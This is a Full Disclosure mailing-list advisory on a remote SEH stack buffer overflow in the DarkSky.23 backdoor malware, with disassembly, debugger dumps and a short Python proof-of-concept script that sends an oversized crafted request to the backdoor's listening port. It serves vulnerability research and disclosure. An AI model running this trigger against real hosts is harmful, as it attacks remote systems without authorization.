Date: Sat, 15 Oct 2022 19:31:45 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.DarkSky.23 / Remote Stack Buffer Overflow (SEH)

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/1164ef21ef2af97e0339359c0dce5e7d.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkSky.23
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 5418. Third-party adversaries
who can reach the server can send a specially crafted payload triggering a
stack buffer overflow overwriting EDX register and Structured Exception
Handler (SEH). In order to see the typical exploit pattern of "\x41" "AAAA"
we need to actually send "\x50" as there is an loop that performs an XOR
converting our payload. Therefore, if we send "AAAAAAAA" we will get
"PPPPPPPP", the malware performs the XOR with the value of 11.
Family: DarkSky
Type: PE32
MD5: 1164ef21ef2af97e0339359c0dce5e7d
Vuln ID: MVID-2022-0648
Dropped files: SysArchive.exe, KNREL32.exe, notepade.exe
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 10/15/2022

Example:

0040134A | 80 34 31 11              | xor byte ptr ds:[ecx+esi],11
   | ;XOR converting the payload happens here.
0040134E | 41                       | inc ecx
  |
0040134F | 3B C8                    | cmp ecx,eax
  |
00401351 | 7C F7                    | jl sysarchive.40134A
   |
00401353 | 5E                       | pop esi
  |
00401354 | C3                       | ret
  |


Python test...

>>> 0x41 ^ 0x11
80
>>> hex(80)
'0x50'
>>> chr(0x50)
'P'

GET /AAAAA will then become all "P" ...

0019D24C  56 54 45 31 3E 50 50 50 50 50 41 41 41 41 41 41  VTE1>PPPPPAAAAAA

0019D25C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0019D26C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0019D27C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0019D28C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA


So to get our \x41 pattern we need to supply \x50, the malware will XOR it
with 0x11 giving us \x41.

>>> 0x50 ^ 0x11
65
>>> hex(65)
'0x41'
>>> chr(65)
'A'

EAX : 7EFEFEFE
EBX : 02902A58
ECX : 0019F4B0
EDX : 41414141
EBP : 0019D230
ESP : 0019D214
ESI : 0019D777
EDI : 0019FF81
EIP : 7451561B     msvcrt.7451561B


Finally we see our desired exploit payload converted from \x50 'P' to \x41
or "A"

0019D240  08 DF 8E 02 08 DF 8E 02 01 00 00 00 56 54 45 31  .ß...ß......VTE1

0019D250  3E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  >AAAAAAAAAAAAAAA

0019D260  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0019D270  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0019D280  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50  AAAAAAAAAAAAAAAP

0019D290  50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50  PPPPPPPPPPPPPPPP

0019D2A0  50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50  PPPPPPPPPPPPPPPP


Memory Dump:
(2798.242c): Stack buffer overflow - code c0000409 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=0019f52c edx=41414141 esi=00000000
edi=00000002
eip=7770ed3c esp=0019cb60 ebp=0019cba0 iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000216
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400          ret     14h

0:000> .ecxr
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777
edi=0019fffd
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
msvcrt!strcat+0x89:
74515619 8917            mov     dword ptr [edi],edx
 ds:002b:0019fffd=41000000
*** WARNING: Unable to verify checksum for SysArchive.exe
*** ERROR: Module load completed but symbols could not be loaded for
SysArchive.exe

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
msvcrt!strcat+89
74515619 8917            mov     dword ptr [edi],edx

EXCEPTION_RECORD:  0019cd64 -- (.exr 0x19cd64)
ExceptionAddress: 74515619 (msvcrt!strcat+0x00000089)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000008
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME:  SysArchive.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a
stack-based buffer in this application. This overrun could potentially
allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a
stack-based buffer in this application. This overrun could potentially
allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1:  00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

CHKIMG_EXTENSION: !chkimg -lo 50 -d !msvcrt
    74515590 - msvcrt!strcat
[ 8b:cc ]
    74515617 - msvcrt!strcat+87 (+0x87)
[ eb:cc ]
2 errors : !msvcrt (74515590-74515617)

CONTEXT:  0019cdb4 -- (.cxr 0x19cdb4)
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777
edi=0019fffd
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
msvcrt!strcat+0x89:
74515619 8917            mov     dword ptr [edi],edx
 ds:002b:0019fffd=41000000
Resetting default scope

WRITE_ADDRESS:  001a0000

FOLLOWUP_IP:
msvcrt!strcat+89
74515619 8917            mov     dword ptr [edi],edx

FAULTING_THREAD:  0000242c

BUGCHECK_STR:
 APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:
 MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 00404ed7 to 74515619

STACK_TEXT:
0019d214 00404ed7 0019e24c 0019d777 0019d238 msvcrt!strcat+0x89
WARNING: Stack unwind information not available. Following frames may be
wrong.
0019d230 00402394 00004128 0019e24c 04ed39f8 SysArchive+0x4ed7
0019f9e8 41414141 41414141 41414141 41414141 SysArchive+0x2394
0019f9ec 41414141 41414141 41414141 41414141 0x41414141
0019f9f0 41414141 41414141 41414141 41414141 0x41414141
0019f9f4 41414141 41414141 41414141 41414141 0x41414141
0019f9f8 41414141 41414141 41414141 41414141 0x41414141
0019f9fc 41414141 41414141 41414141 41414141 0x41414141
0019fa00 41414141 41414141 41414141 41414141 0x41414141
0019fa04 41414141 41414141 41414141 41414141 0x41414141
0019fa08 41414141 41414141 41414141 41414141 0x41414141
0019fa0c 41414141 41414141 41414141 41414141 0x41414141
0019fa10 41414141 41414141 41414141 41414141 0x41414141
0019fa14 41414141 41414141 41414141 41414141 0x41414141
0019fa18 41414141 41414141 41414141 41414141 0x41414141
0019fa1c 41414141 41414141 41414141 41414141 0x41414141
0019fa20 41414141 41414141 41414141 41414141 0x41414141
0019fa24 41414141 41414141 41414141 41414141 0x41414141
0019fa28 41414141 41414141 41414141 41414141 0x41414141
0019fa2c 41414141 41414141 41414141 41414141 0x41414141
0019fa30 41414141 41414141 41414141 41414141 0x41414141
...

SYMBOL_NAME:  memory_corruption!msvcrt

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: memory_corruption

IMAGE_NAME:  memory_corruption

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt
ntdll!LdrpFailureData ; .cxr 0x19cdb4 ; kb

FAILURE_BUCKET_ID:
 MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_memory_corruption!msvcrt

BUCKET_ID:
 APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_memory_corruption!msvcrt

0:000> !exchain
0019cc18: ntdll!_except_handler4+0 (77716a50)
  CRT scope  0, func:   ntdll!RtlReportExceptionHelper+251 (777557ad)
0019f9dc: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=5418

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    JUNK="GET /"+"\x50"*1300+"HTTP/1.1\r\nHost:29"+"\x50"*10000
    PAYLOAD=JUNK+"\r\n\r\n"

    s.send(PAYLOAD)
    s.close()
    print("Backdoor DarkSky.23 Exploit By malvuln")

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists